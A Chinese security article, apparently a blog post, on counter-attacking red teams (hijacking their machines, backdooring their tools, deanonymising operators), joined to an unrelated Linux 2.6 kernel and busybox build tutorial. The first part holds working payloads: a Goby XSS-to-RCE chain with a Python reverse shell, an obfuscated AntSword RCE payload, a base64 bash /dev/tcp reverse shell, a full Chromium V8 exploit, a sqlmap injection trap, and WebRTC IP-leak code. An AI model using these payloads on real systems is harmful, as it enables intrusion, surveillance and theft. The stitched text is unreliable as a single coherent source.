反制，作为蓝队整个工作中的一环，偏向于事件的后续处理流程的一个闭环。作为一个闭环需要哪些知识栈的人员进行组合呢？
渗透人员至少1名： 主要对需要反制的目标进行反渗透；
内网成员1名：需要擅长内网、钓鱼、cs/msf 、免杀 等红队技能点；
情报/社工反制人员至少1名： 对拿到的ioc 、id等进行分析及社工反制相关人员；
逆向分析成员： 至少需要1名，分析获取到的相关样本，提取关键有用信息，分析红队人员后门；
漏洞分析成员： 需要熟悉主流web漏洞、浏览器及2进制漏洞，能够快速制作相关反制的paylaod；
## 从技术层面的反制思路
作为反制规则，我们的目标肯定是要拿下对方的基础设施、以及定位到具体的人员为目标。
### 发现涉事服务器
当从研判组研判分析后，的确为攻击者的服务器，那么就可以对该服务器进行反渗透，进一步进行取证分析。 反渗透的具体手法就不多说了，熟悉渗透的小伙伴应该都清楚。
### 定位分析技巧
当获取到对方服务器的权限后，那么可以从这些姿势里面进一步进行溯源到背后人员到真实身份。
基本上现在的大多数红队人员对自己的基础设施保护不会跳太多层，拿下对方的一台常见节点的服务器，就能达到溯源的目的。
#### windows 跳板服务器溯源
* windows security日志/rdp 日志
里面能够拿到security或者rdp日志的ip信息，假如对方跳板是win 的话，顺藤摸瓜可以拿到对方真实连跳板的ip
* Netstat 网络连接
netstat 里的ip 连接也可以提取出来，进行定位真实的ip定位
* 进程
tasklist 里面的进程信息、运行了哪些服务和程序，特别对定位运行的c2 的server端等信息比较有用
* chrome 、firefox、ie、360浏览器等浏览器的密码等记录
浏览器记录、以及保存的账号密码也可作为进一步进行社工的重要依据（大家就点到为止，没必要扒光，都是江湖见的兄弟）
* 密码管理类的凭据保存记录
比如一些密码管理类的工具里面保存的可以尝试进行提取然后进行分析
* 第三方应用的相关日志
以及一些第三方应用等的日志，里面或许也会有记录相关信息，比如python 或者某些ftp 等临时开启放一些中转的的文件，里面的一些web
日志也能够分析到相关红队成员真实ip 的信息，按照心理学来说肯定自己会先访问下看服务和文件是否正常，除了受害者的信息就是红队人员自己的信息了。
那么这里可以提取相关ip 进行分析受害者有哪些、红队成员ip 有哪些。
* frp 等代理的日志
比如一些代理等日志，里面会记录连接的ip信息
#### linux 跳板服务器溯源
* 进程与网络连接
linux 机器里，netstat 、进程与windows 分析方式类似 ，查看运行的进程和网络连接情况。
进程查看：ps auxwwfw
网络查看： netstat -anp
* 日志记录
每个用户下的history 日志： 记录了历史操作的命令
/var/log/lastlog : 最后成功登入的日志记录
/var/log/secure: 安全日志的记录
/var/log/btmp: 登入失败信息的记录
/var/log/wtmp： 所有用户的登入信息记录
第三方应用日志的记录、代理frp等的日志记录
### 针对红队成员电脑pc的分析及控制
假如反制直接拿到红队成员电脑，那么以下方式可做参考。 当然首要的就是权限维持好，长期控着该红队人员才是目的。
* qq/wx 的id文件夹的文件
这些常见社交软件，里面保存的文件夹的id 可以进一步作为定位人员的关键证据，以及相关db
数据库，拿到进行数据库解密，获取相关聊天信息对整个红队成员定位然后进行一锅端（github有相关解密代码改改就可以用，我这里就不放出来了）。
* webshell 管理器
红队成员电脑里的webshell 管理器的db 库，这个可以直接拖下来进行分析然后分析受害情况
* 文档资料
红队成员每天记录的文档报告以及云端同步的资料，这个很重要，关系到整个后续反制成果的展现。
* 团队基础信息的深入
根据解密的社交联系软件或者相关协作的工具平台定位分析红队人员，然后在以控制住的这个红队成员的电脑为跳板，对他们的关键设施的工具武器进行劫持植入后门或者进一步定位及控制到更多红队成员的机器权限为主（方法很多，这里就不展开细说了，用红队的思维来进行反制红队）。
####
## 红队常见工具反制
### cs 的反制 4.0-4.4
参考： <https://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/>
<https://www.elastic.co/cn/blog/detecting-cobalt-strike-with-memory-signatures>
CS 4.2+开始，默认 the obfuscation is using XOR with a 13 byte keys ，除非去改beacon
源码或者用钩子绕过（<https://www.arashparsa.com/hook-heaps-and-live-free/），否则从4.0-4.4>
基本gg，这也被逼着要么自己写c2 要么用一些冷门的c2框架或者2开cs 避免一特征。
拿到红队人员的上线样本文件后
以下开源工具可参考使用：
<https://github.com/CCob/BeaconEye> （可以自己进行改下优化下该寻找内存中cs的beacon信标的工具）
<https://github.com/jas502n/CS_mock或者https://github.com/hariomenkel/CobaltSpam（根据样本提取到公钥和metadata>
usl可以反制模拟上线打满列表的工具）
<https://github.com/Sentinel-One/CobaltStrikeParser（> 解析配置的工具）
其中，下载配置文件的位置主要在这：
32位的特征码：8? 68 74 74 70
64位的特征码：9? 68 74 74 70
然后需要注意的是，假如对方用的是随机的cs profile 或者自己改了profile 的话，用CS_mock 模拟上线的话，需要手工修改cookie 值。
第一步: 找到主机内存里的cs 后门进程和下载配置文件的那个url
2: 第二步用parse_beacon_config.py 进行解析提取cs的配置文件下载地址的文件
这里发现对方修改了cookie 里的值，这个值需要修改后面的cs_mock
3: 知道了上线的cs server 和publish key ,还有修改的cookie 值，那么进行反制
修改下cs_mock.py
4: 任意进行虚假反制上线直接打满cs 列表
### msf
#### msf 生成shellcode的yara 扫描
<https://github.com/thewhiteninja/yarasploit>
这里有msf 目前到6.0.12版本的生成shellcode 的yara 规则，但是存在部分误报，如果需要根据特征去匹配内存中yara 需要进一步在研究
### dnslog/httplog 等的反制
针对dnslog和httplog 的反制，获取到对方的payload 的url ，然后批量使用站长之家进行批量ping
或者使用腾讯云函数进行批量访问，对方列表会满满的都是请求。（手动dog
### Goby 反制
tip 来自： 赛博回忆录
打开goby开始扫描->IP详情->XSS->RCE 完成
1. goby扫描
2. 服务端返回一个header插入xss引用远程js文件
3. 远程js文件里插入完整的执行代码
4. 攻击队成员点击详情触发xss，最后rce
server端端触发demo
<?php
header("X-Powered-By: PHP/<img src=\"x\" onerror=import(unescape('http%3A//127.0.0.1/test2.js'))>");
?>
远程引用js的exp
(function(){
require('child_process').exec('open /System/Applications/Calculator.app');
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
})();
### go 写的扫描器反制
<https://github.com/alexzorin/cve-2021-34558>
X-ray，goby 等使用go写的均会导致崩溃。
### 蚁剑的反制
* 反向RCE漏洞： <=v2.1.6 版本 <https://github.com/AntSwordProject/antSword/issues/255> 、<https://xz.aliyun.com/t/8167#toc-5>
<img src=1 onerror="eval(String.fromCharCode(118,97,114,32,95,48,120,52,52,100,99,61,91,39,102,114,111,109,67,104,97,114,67,111,100,101,39,44,39,101,120,112,111,114,116,115,39,44,39,108,101,110,103,104,116,39,44,39,101,120,101,99,39,44,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,44,39,116,111,83,116,114,105,110,103,39,93,59,40,102,117,110,99,116,105,111,110,40,95,48,120,51,102,48,49,56,53,44,95,48,120,52,52,100,99,102,50,41,123,118,97,114,32,95,48,120,51,49,49,98,56,55,61,102,117,110,99,116,105,111,110,40,95,48,120,49,57,102,102,55,100,41,123,119,104,105,108,101,40,45,45,95,48,120,49,57,102,102,55,100,41,123,95,48,120,51,102,48,49,56,53,91,39,112,117,115,104,39,93,40,95,48,120,51,102,48,49,56,53,91,39,115,104,105,102,116,39,93,40,41,41,59,125,125,59,95,48,120,51,49,49,98,56,55,40,43,43,95,48,120,52,52,100,99,102,50,41,59,125,40,95,48,120,52,52,100,99,44,48,120,49,54,99,41,41,59,118,97,114,32,95,48,120,51,49,49,98,61,102,117,110,99,116,105,111,110,40,95,48,120,51,102,48,49,56,53,44,95,48,120,52,52,100,99,102,50,41,123,95,48,120,51,102,48,49,56,53,61,95,48,120,51,102,48,49,56,53,45,48,120,48,59,118,97,114,32,95,48,120,51,49,49,98,56,55,61,95,48,120,52,52,100,99,91,95,48,120,51,102,48,49,56,53,93,59,114,101,116,117,114,110,32,95,48,120,51,49,49,98,56,55,59,125,59,118,97,114,32,101,120,101,99,61,114,101,113,117,105,114,101,40,95,48,120,51,49,49,98,40,39,48,120,48,39,41,41,91,95,48,120,51,49,49,98,40,39,48,120,53,39,41,93,59,109,111,100,117,108,101,91,95,48,120,51,49,49,98,40,39,48,120,51,39,41,93,61,102,117,110,99,116,105,111,110,32,120,40,41,123,114,101,116,117,114,110,32,110,101,119,32,80,114,111,109,105,115,101,40,102,117,110,99,116,105,111,110,40,95,48,120,54,56,57,53,48,57,44,95,48,120,52,52,52,98,53,98,41,123,118,97,114,32,95,48,120,52,55,52,55,51,50,61,83,116,114,105,110,103,91,95,48,120,51,49,49,98,40,39,48,120,50,39,41,93,40,48,120,54,51,44,48,120,54,49,44,48,120,54,99,44,48,120,54,51,44,48,120,50,101,44,48,120,54,53,44,48,120,55,56,44,48,120,54,53,41,59,101,120,101,99,40,95,48,120,52,55,52,55,51,50,44,123,39,109,97,120,66,117,102,102,101,114,39,58,48,120,52,48,48,42,48,120,55,100,48,125,44,102,117,110,99,116,105,111,110,40,95,48,120,53,54,98,98,100,53,44,95,48,120,52,48,49,57,52,51,44,95,48,120,50,50,51,48,51,51,41,123,105,102,40,95,48,120,53,54,98,98,100,53,41,95,48,120,52,52,52,98,53,98,40,95,48,120,53,54,98,98,100,53,41,59,101,108,115,101,32,95,48,120,50,50,51,48,51,51,91,95,48,120,51,49,49,98,40,39,48,120,52,39,41,93,62,48,120,48,63,95,48,120,52,52,52,98,53,98,40,110,101,119,32,69,114,114,111,114,40,95,48,120,50,50,51,48,51,51,91,95,48,120,51,49,49,98,40,39,48,120,49,39,41,93,40,41,41,41,58,95,48,120,54,56,57,53,48,57,40,41,59,125,41,59,125,41,59,125,44,109,111,100,117,108,101,91,95,48,120,51,49,49,98,40,39,48,120,51,39,41,93,40,41,59));this.parentNode.parentNode.removeChild(this.parentNode);" style="display:none;"/>
* RCE Vulnerability in View Site #256 ： <https://github.com/AntSwordProject/antSword/issues/256、CVE-2020-25470>
<AntSword Ver: 2.1.8.1
<script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMyAwPiYxCg== | base64 -d | bash\")'/>"</script>
* <https://github.com/AntSwordProject/antSword/issues/147>
There is RCE Vulnerability in antSword ,影响：< V2.1
* <https://github.com/AntSwordProject/antSword/issues/150>
Report CVE RCE Vulnerability in antSword ，影响：< V2.1
* <https://github.com/AntSwordProject/antSword/issues/151>
antSword self-XSS Vulnerability leads to Code Execution 影响：< V2.1
* <https://github.com/AntSwordProject/antSword/issues/153>
Ver： <2.1 之前的版本
* <https://github.com/AntSwordProject/antSword/issues/166>
插件漏洞
* <https://github.com/AntSwordProject/antSword/issues/3>
历史悠久的版本
* <https://github.com/AntSwordProject/antSword/issues/16>
历史悠久的版本
### AWVS的反制
#### awvs10 版本漏洞
<https://www.exploit-db.com/exploits/39755>
#### awvs 14以下的版本漏洞触发
2021年4月13日，安全研究人员Rajvardhan Agarwal在推特公布了本周第一个远程代码执行（RCE）的0Day漏洞
Chromium V8 JavaScript引擎远程代码执行
Chromium 版本的漏洞，可以构造然后执行shellcode
poc（以下公开poc仅用于蓝队反制红队使用，github也有公开代码，勿用于非法攻击行为）：
替换shellcode 部分即可
ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
var shellcode = [
xxx
];
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}
function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}
function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;
this.page_buffer = null;
this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}
this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } });
cb(true);
class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);
// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}
// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}
class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}
return DerivedN;
})`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}
this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}
this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}
this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}
this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}
this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}
function trigger() {
var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));
oob.setBytes(code_addr, shellcode);
target_function(0);
}
try{
print("start running");
trigger();
}catch(e){
print(e);
}
那时候4月，wx 还没强制更新，内置的是存在问题的Chromium 内核版本，也还能用于wx
进行钓鱼利用，现在很多红队人员的渗透工具不一定更新的是最新版本的，那么这个漏洞运气好的话也还能钓部分红队人员。
### burp 的反制
同样，也是chromium v8 引擎的远程代码执行
<2021-3-3 的版本
#### 反制利用场景：
1:
Burp Suite v2.0的`Live audit from Proxy`被动扫描功能在默认情况下开启JavaScript分析引擎（JavaScript
analysis），用于扫描JavaScript漏洞
2: Response -> Render`及`Repeater -> Render 功能进行渲染的时候会触发
#### burp 指纹的识别和反制
针对burp 指纹的反制 ，当攻击者使用默认配置的burp，很多指纹能够被精准识别到
1: 利用跨域去获取burp 的指纹，然后可以干很多事情，比如引入到蜜罐流量进行精准id 识别。
`http://burp/favicon.ico`
eg ：
<img src="http://burp/favicon.ico" onload="alert('found burp')" >
<script src="http://burp/jquery.js" onload="alert('found burp')"></script>
#### 利用流量指纹特征，识别burp
Burp抓到包后，会把连接状态改为Close
### sqlmap 的反制
老版本的sqlmap，钓鱼页面然后进行构造表单参数
钓鱼页面的demo
<html>
<head>
<title> A sqlmap honeypot demo</title>
</head>
<body>
username:<input type="text" name="username" >
<form id="myForm" action="username.php" method="post" enctype="text/plain">
<input type='hidden' name='name' value='sdf&sadf=sadf&command="&&whoami"'>
<input type="submit" οnclick="myForm.submit()" value="Submit">
</form>
</body>
</html>
### xss 盲打后台钓鱼反制
假装后台被打到了，然后传回他的xss 后台，然后他访问打到的后台后，使用话术套路，让他下载文件执行获取对方终端权限
### Git CLI远程代码
<https://github.com/EdgeSecurityTeam/Vulnerability/blob/main/Git%20CLI%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2020-26233%EF%BC%89.md>
* 创建一个新的存储库或将文件添加到现有存储库；
* b）将Windows可执行文件上传到此存储库，重命名为git.exe；
* c）等待受害者fork存储库
* 使用gh repo fork REPOSITORY_NAME --clone frok后触发rce
### Git 源码漏洞反制
<https://drivertom.blogspot.com/2021/08/git.html（别想偷我源码：通用的针对源码泄露利用程序的反制（常见工具集体沦陷））>
构造../ ，然后把后门写到启动项或者定时任务进行getshell。
GitHack | <https://github.com/lijiejie/GitHack> | 是
---|---|---
GitHack | <https://github.com/BugScanTeam/GitHack> | 是
dumpall | <https://github.com/0xHJK/dumpall> | 是
GitHacker | <https://github.com/WangYihang/GitHacker> | 是
dvcs-ripper | <https://github.com/kost/dvcs-ripper> | 否
git-dumper | <https://github.com/arthaud/git-dumper> | 是
1. 对于类unix系统可以写入crontab，增加定时任务，反弹shell回来
2. 对于Windows系统可以写入开始菜单启动项，或者dll劫持
3. 可以把攻击工具的脚本给替换掉，下次执行就能上线
除此之外，可以通过发来的包的TTL值判断操作系统(Windows默认是128，Linux是64或者255)，实现更精准的反制
### webshell 后门反制
直接传上来的一些大马，可以先关闭服务器进行隔离，然后在他的大马里进行“加料”隔离上线，当对方在连接进来的时候先获取对方的user-agent,
利用一些chrome 、fireofx 等一些常见浏览器的day ，构建shellcode 进行浏览器逃逸执行反制。
### 数据库连接的反制
MySQL中 `load data local infile '/etc/passwd' into table test fields terminated
by '\n';`语句可以读取客户端本地文件并插进表中，那么我们可以伪造一个恶意的服务器，向连接服务器的客户端发送读取文件的payload 。
比如读取攻击者的微信id、ntlm hash
<https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUOidZ5OA>
<https://github.com/qigpig/MysqlHoneypot>
### 远程桌面连接mstsc/共享的反制
当对方为了方便mstsc 连接进来，当然场景不限于mstsc ，比如对方开启了vmware
虚拟机等的文件共享，然后往对方启动项丢一个可执行文件，直接就可以rce 了。
### 蜜罐
蜜罐就不多说了，基本甲方都会部署内外网遍地的蜜罐，hw必备的。
### JSONP/webrtc 获取真实ip及社交账号
<https://blog.csdn.net/luofeng457/article/details/83899412>
[利用社交账号精准溯源的蜜罐技术](https://www.cnblogs.com/potatsoSec/p/13801495.html)
利用 webrtc 获取真实 ip，别人走了sock
代理的话，这个一样可以获取到真实ip（部分代理软件还未支持udp，socks5代理只支持到了tcp协议），因为是udp 协议的，所以能直接获取到真实ip。
**除非红队人员对浏览器进行了优化**
禁用WebRTC
chrome用这个插件:WebRTC Leak Prevent
firefox：about:config-->media.peerconnection.enabled --〉 false
demo
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
Remote Addr: <?=$_SERVER['REMOTE_ADDR']?>
<hr>
<h3>WebRTC</h3>
<h4>Your local IP addresses:</h4>
<ul id="localip"></ul>
<h4>Your public IP addresses:</h4>
<ul id="publicip"></ul>
<h4>Your IPv6 addresses:</h4>
<ul id="ipv6"></ul>
<iframe id="rtc_iframe" sandbox="allow-same-origin" style="display: none"></iframe>
<script>
//get the IP addresses associated with an account
function getIPs(callback){
var ip_dups = {};
//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.msRTCPeerConnection
|| window.webkitRTCPeerConnection;
var useWebKit = !!window.webkitRTCPeerConnection;
//bypass naive webrtc blocking using an iframe
if(!RTCPeerConnection){
var win = document.getElementById("rtc_iframe").contentWindow;
RTCPeerConnection = win.RTCPeerConnection
|| win.mozRTCPeerConnection
|| win.msRTCPeerConnection
|| win.webkitRTCPeerConnection;
useWebKit = !!win.webkitRTCPeerConnection;
}
//minimal requirements for data connection
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
var servers = {
iceServers: [
{
urls: [
'stun:stun.l.google.com:19302?transport=udp',
'stun:stun1.l.google.com:19302?transport=udp',
'stun:stun2.l.google.com:19302?transport=udp',
'stun:stun3.l.google.com:19302?transport=udp',
'stun:stun4.l.google.com:19302?transport=udp',
"stun:stun.ekiga.net?transport=udp",
"stun:stun.ideasip.com?transport=udp",
"stun:stun.rixtelecom.se?transport=udp",
"stun:stun.schlund.de?transport=udp",
"stun:stun.stunprotocol.org:3478?transport=udp",
"stun:stun.voiparound.com?transport=udp",
"stun:stun.voipbuster.com?transport=udp",
"stun:stun.voipstunt.com?transport=udp",
"stun:stun.voxgratia.org?transport=udp"
]
}
]
};
//construct a new RTCPeerConnection
var pc;
try {
pc = new RTCPeerConnection(servers, mediaConstraints);
} catch (e) {
return
}
function handleCandidate(candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
var ip_addr = ip_regex.exec(candidate)[1];
//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
//listen for candidate events
pc.onicecandidate = function(ice){
//skip non-candidate events
if(ice.candidate)
handleCandidate(ice.candidate.candidate);
};
//create a bogus data channel
pc.createDataChannel("bl");
//create an offer sdp
try {
pc.createOffer().then(function(result) {
pc.setLocalDescription(result);
});
} catch (e) {
pc.createOffer().then(function(result) {
pc.setLocalDescription(result, function(){}, function(){});
}, function() {});
}
//wait for a while to let everything done
setTimeout(function(){
//read candidate info from local description
var lines = pc.localDescription.sdp.split('\n');
lines.forEach(function(line){
if(line.indexOf('a=candidate:') === 0)
handleCandidate(line);
});
}, 1000);
}
//insert IP addresses into the page
getIPs(function(ip){
var li = document.createElement("li");
li.textContent = ip;
//local IPs
if (ip.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/))
document.getElementById("localip").appendChild(li);
//IPv6 addresses
else if (ip.match(/^[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7}$/))
document.getElementById("ipv6").appendChild(li);
//assume the rest are public IPs
else
document.getElementById("publicip").appendChild(li);
});
</script>
</body>
</html>
JSONP 探针：
现在基本的蜜罐都具备该功能了，也就不多说了，溯源身份反制的利器，拼的就是各大src 不修复的JSONP 接口。
### vpn 类的主动钓鱼反制
现在基本做个vpn 的2级域名蜜罐，没有哪个红队不关注这个的，那么利用这个心里，可以这样进行反制。
360connect / sangfor vpn 这些连接的客户端在连接的时候都会下 dll 进去，那么针对这个，我们可以做个dll
劫持，正常用户使用的时候，也是会按照这个企业的配置，下发这个企业的 dll
，因为证书自签的，所以蜜罐上面可以自己签一个sabgfor的证书，攻击者也不会发现有啥不一样的。（Medicean表哥提供的思路）
## ioc类信息的溯源思路
#### ip 溯源
排除cdn等的干扰拿到真实ip 后
常规手法：whois 、域名反查 、反渗透
小tip：使用威胁情报进行综合分析，查看该ip他人对该ip
打的标签、历史解析记录、历史变更记录、以及该ip上面关联的相关样本，这些能够获取到进行进一步关联分析
#### 域名溯源
历史解析记录、以及whois 手法的溯源关联
#### 红队人员溯源
常规社交溯源流程（常见的社交论坛、招聘类、app进行身份定位）
#### 病毒源码溯源
拿到样本，有些样本里面很可能直接会有debug
信息、以及编译时未处理的编译信息，里面可以结合进一步进行溯源跟踪、以及结合<https://www.virustotal.com/> 进一步进行追踪。
举例： 比如go 编写的样本，一些信息是能够直接拿到作为进一步溯源分析的方法。
<https://github.com/boy-hack/go-strip>
#### 手机号溯源
可以通过各类社交接口进行定位
### 部分资料参考
<http://noahblog.360.cn/burp-suite-rce/>
<https://mp.weixin.qq.com/s/V0WdN9CMrTqo6qInuwyR6g>
<https://mp.weixin.qq.com/s/GownJgbAbp7E_zKqFjATYg>
<https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUOidZ5OA>
<https://www.52pojie.cn/thread-954500-1-1.html>
<https://bbs.pediy.com/thread-268554.htm>
<https://blog.csdn.net/qq_41874930/article/details/110178462>
<https://mp.weixin.qq.com/s/tl17-Qz-VXpSlZtZWDgeHg>
<https://mp.weixin.qq.com/s/qEEO-1lyFbYS7Saa2L-n0A>
<https://xz.aliyun.com/t/8385> | 社区文章 |
主要记录一下学习muhe师傅的系列教程，记录其中的坑点。
muhe师傅的教程是在32位ubuntu环境下测试的，本文是在64位环境下测试，有很多地方需要修改，故记录本文，以供后来者学习。
附件在文末下载。
#### 环境说明：
内核版本2.6.32.1
busybox版本1.19.4
gcc版本4.7
实验环境ubuntu16.04 64位
## 1.更新gcc
内核2.6.x只支持gcc 3.x和4.x.y，可能是较高版本的gcc不支持老版本kernel的某些语法格式。
gcc下降：
sudo apt-get install -y gcc-4.7
sudo apt-get install -y g++-4.7
# 重新建立软连接
cd /usr/bin #进入/usr/bin文件夹下
sudo rm -r gcc #移除之前的软连接
sudo ln -sf gcc-4.7 gcc #建立gcc4.7的软连接
sudo rm -r g++ #同gcc
sudo ln -sf g++-4.7 g++
安装依赖：
$ sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc qemu qemu-system
$ sudo apt-get install bison flex libncurses5-dev
## 2.下载源码
官网：<https://mirrors.edge.kernel.org/pub/linux/kernel/>
国内镜像（速度超快）：<https://mirrors.tuna.tsinghua.edu.cn/kernel/>
# 最好还是从国内镜像上下载
$ wget https://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.32.1.tar.gz -O linux-2.6.32.1.tar.gz
$ tar -xvf linux-2.6.32.1.tar.gz
## 3.编译过程
$ cd linux-2.6.32.1/
$ make menuconfig
$ make
$ make all
$ make modules
**问题1：**
include/linux/compiler-gcc.h:86:30: fatal error: linux/compiler-gcc5.h: No
such file or directory
include/linux/compiler-gcc.h:86:1: fatal error: linux/compiler-gcc9.h: No such
file or directory
**解决1-1：**
<https://blog.csdn.net/u014525494/article/details/53573298>
把当前linux系统/usr/src的compiler-gcc.h拷贝到要编译的linux源码目录中。
`$ cp /usr/src/linux-headers-4.4.0-103-generic/include/linux/compiler-gcc.h
./linux-2.6.32.1/include/linux/compiler-gcc5.h`
还是报错。
**解决1-2：**
原因：编译的内核版本比较低，而gcc版本比较高。
gcc下降到4.7。 貌似没有问题了。
**问题2：**
遇到文中所说的4个问题，可能是老版本内核代码有问题，对照以下一一解决即可。(除了第2个问题)
<https://www.anquanke.com/post/id/85837>
## 4.增加syscall
<https://o0xmuhe.github.io/2017/02/08/Adding-your-own-syscall-in-linux-kernel/>
<https://arvindsraj.wordpress.com/2012/10/05/adding-hello-world-system-call-to-linux/>
**（1）在syscall table中添加信息**
文件`arch/x86/kernel/syscall_table_32.S`中添加自己的调用
> .long sys_muhe_test
> .long sys_hello
**（2）定义syscall的宏**
32位
文件`arch/x86/include/asm/unistd_32.h`中添加
> `#define __NR_hello 337`
> `#define __NR_muhe_test 338`
> `#ifdef __KERNEL__`
> `#define NR_syscalls 339`
要注意NR_syscalls要修改成现有的调用数目，比如原来有0~336一共337个调用，现在增加了两个，那就改成339。
64位
修改`arch/x86/include/asm/unistd_64.h`
> `#define __NR_hello 299`
> `__SYSCALL(__NR_hello,sys_hello)`
> `#define __NR_muhe_test 300`
> `__SYSCALL(__NR_muhe_test,sys_muhe_test)`
**（3）添加函数定义**
文件`include/linux/syscalls.h`
> asmlinkage long sys_muhe_test(int arg0);
> asmlinkage long sys_hello(void);
**（4）编写syscall代码**
新建目录放自定义syscall的代码，./linux-2.6.32.1/muhe_test
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/muhe_test [2:43:06]
$ cat muhe_test.c
#include <linux/kernel.h>
asmlinkage long sys_muhe_test(int arg0){
printk("I am syscall");
printk("syscall arg %d",arg0);
return ((long)arg0);
}
asmlinkage long sys_hello(void){
printk("hello my kernel worldn");
return 0;
}
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/muhe_test [2:43:12]
$ cat Makefile
obj-y := muhe_test.o
**（5）修改Makefile**
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1 [2:44:59]
$ cat Makefile| grep muhe
ifeq ($(KBUILD_EXTMOD),)
core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/ muhe_test/
!!!!!!注意：这一句一定要修改原句“core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/”。
**（6）编译**
$ make -j2
## 5.busybox编译配置
**（1）编译步骤**
大坑：make menuconfig时一定要选择静态编译。
$ make menuconfig
$ make
$ make install
**（2）报错**
busybox1.19版本会出错，修改两处即可；用最新的1.31没报错。
（2-1）问题：linux/ext2_fs.h: 没有那个文件或目录
make menuconfig时 Linux System Utilities ---> 选空[ ] mkfs_ext2 和 [ ] mkfs_vfat
（2-2）问题：‘RLIMIT_FSIZE’ undeclared
$ vim include/libbb.h 添加#include <sys/resource.h>
**（3）配置**
（3-1）方案1
$ cd _install
$ mkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}}
$ cat init
#!/bin/sh
echo "INIT SCRIPT"
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mkdir /tmp
mount -t tmpfs none /tmp
mdev -s # We need this to find /dev/sda later
echo -e "nBoot took $(cut -d' ' -f1 /proc/uptime) secondsn"
exec /bin/sh
$ chmod +x init
$ find . | cpio -o --format=newc > ../rootfs.cpio
$ qemu-system-x86_64 -kernel ./arch/x86/boot/bzImage -initrd ../rootfs.cpio
问题：总是报错——kernel panic - not syncing no init found. try passing init= option to
kernel
解决：用ctf题中的clio文件就能正常运行，应该是busy box的问题。只要make menuconfig的时候选择静态编译就行（Busybox
Settings -> Build Options -> Build BusyBox as a static
binary）,因为在这里我们希望生成的文件不对当先主机系统的共享目录产生依赖，我们希望生成的文件时静态库文件而非是动态库文件。
<http://www.dataguru.cn/thread-475271-1-1.html>
（3-2）方案2
目录结构和之前差不多，添加inittab文件：
$ cat etc/inittab
::sysinit:/etc/init.d/rcS
::askfirst:-/bin/ash
::ctrlaltdel:/sbin/reboot
